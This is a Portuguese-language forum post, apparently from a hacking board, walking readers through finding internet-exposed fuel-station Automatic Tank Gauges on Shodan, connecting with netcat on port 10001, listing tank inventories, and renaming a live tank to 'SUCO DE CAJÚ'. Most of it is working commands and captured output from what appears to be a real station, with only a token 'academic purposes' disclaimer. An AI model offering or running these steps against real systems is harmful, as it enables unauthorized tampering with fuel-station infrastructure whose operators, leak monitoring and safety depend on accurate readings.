ATG Crawler – Gasoline Hack

Categorias: , , ,

Descrição

Para entendermos esse lance de “hackear” tanques de gasolina, primeiro temos que saber o que é um ATG, essa é uma sigla para “Automatic Tank Gauge” que são sistemas de medição e monitoramento que é usado pra medir o estoque de combustiveis automaticamente.

Os postos de combustível usam isso pra ter um controle melhor do estoque e evitar vazamentos.

Agora que já entendemos isso, lets go to party

Pra encontrar um desses tanques que muitas vezes tão ligados a internet (o que é uma falha gravissima) eu usei o shodan mesmo, utilizando os parâmetros de busca: I20100 port:10001 country:”BR”

I20100 = O comando de mostrar os tanques no ATG, com isso nos mostrara apenas os abertos
port:10001 = A porta 10001 é a porta que roda esse serviço de ATG
country:”BR” = Filtrando por apenas ATGs no nosso fudido Brasil

tendo já em mãos um ip eu vou me conectar com o NetCat no ip e especificar a porta:

Código: Selecionar todos

nc IP 10001

por exemplo, vamos usar o ip do localhost

Código: Selecionar todos

nc 127.0.0.1 10001

sacou my friend ? Lets go.

depois de estarmos lá dentro na conexão do NetCat podemos ver se está tudo ok dando um comando do ATG:

Código: Selecionar todos

^AI20100

deixe-me explicar esse código

^A = avisar pro ATG que vamos enviar algo, todo comando que formos dar tem que ter este ^A
I201 = esse é o código pra listar os tanques, em sequida desse código vc deve colocar 00(mostra todos) ou um número específico de tanque

feito isso teremos em nosso terminal algo parecido com isto

Código: Selecionar todos

^AI20100

I20100
10/01/19  0:23






INVENTÁRIO NO TANQUE

TANQ PRODUTO               VOLUME TC-VOLUME   VOLUME   ALTURA     ÁGUA  TEMPER
  1   TQ 4 GASOLINA COMUM    5575      5535    25043   605.95     0.00   25.78
  2  TQ 3 GASOLINA ADV       4923      4888    10367   913.19     0.00   25.71
  3  TQ 2 GASOLINA COMUM     3819      3794    11471   759.16     0.00   25.35
  4  TQ 1ETANOL COMUM       16191     16044    14427  1332.22     0.00   28.00
  5  TQ 6 ETANOL COMUM       3675      3647    11506   742.23     0.00   26.58
  6  TQ 5 DIESEL S10         6887      6845     8294  1181.68     0.00   27.65

e isto é o inventário inteiro do ATG, tem muuuuitos comandos que vc pode usar (cuidado pra n fazer merda ein, isso é apenas para fins acadêmicos) irei deixar no final do post o link do Manual desse ATG

Outro comado interessante seria o

Código: Selecionar todos

^AS602

esse comando muda o nome de determinado tanque ou todos, então tendo em mãos o resultado do primeiro comando iremos mudar o nome do primeiro tank pra “suco de cajú”

Código: Selecionar todos

^AS60201SUCO DE CAJÚ                                                          

Depois de darmos este código vamos listar os tanques denovo e ver como tá.

Um detalhe interessante é que, pra mudar o nome de algum tanque, este nome deve obrigatoriamente obter 20 carácteres, então eu escrevi “SUCO DE CAJU” e completei o resto só com o space que também é um caráctere, se vc fizer isto deve ter um resultado parecido com o meu

Código: Selecionar todos

^AI20100

I20100
10/01/19  0:31






INVENTÁRIO NO TANQUE

TANQ PRODUTO               VOLUME TC-VOLUME   VOLUME   ALTURA     ÁGUA  TEMPER
  1  SUCO DE CAJÚ            5575      5535    25043   605.97     0.00   25.78
  2  TQ 3 GASOLINA ADV       4923      4888    10367   913.19     0.00   25.70
  3  TQ 2 GASOLINA COMUM     3819      3794    11471   759.17     0.00   25.35
  4  TQ 1ETANOL COMUM       16191     16044    14427  1332.20     0.00   28.00
  5  TQ 6 ETANOL COMUM       3675      3647    11506   742.22     0.00   26.58
  6  TQ 5 DIESEL S10         6888      6845     8293  1181.71     0.00   27.65

Interessante né ? Eu me vou me despedindo por aqui, espero que tenham gostado, se n gostaram eu n posso fazer nada :v.

link do manual do ATG: http://www.chipkin.com/files/liz/576013-635.pdf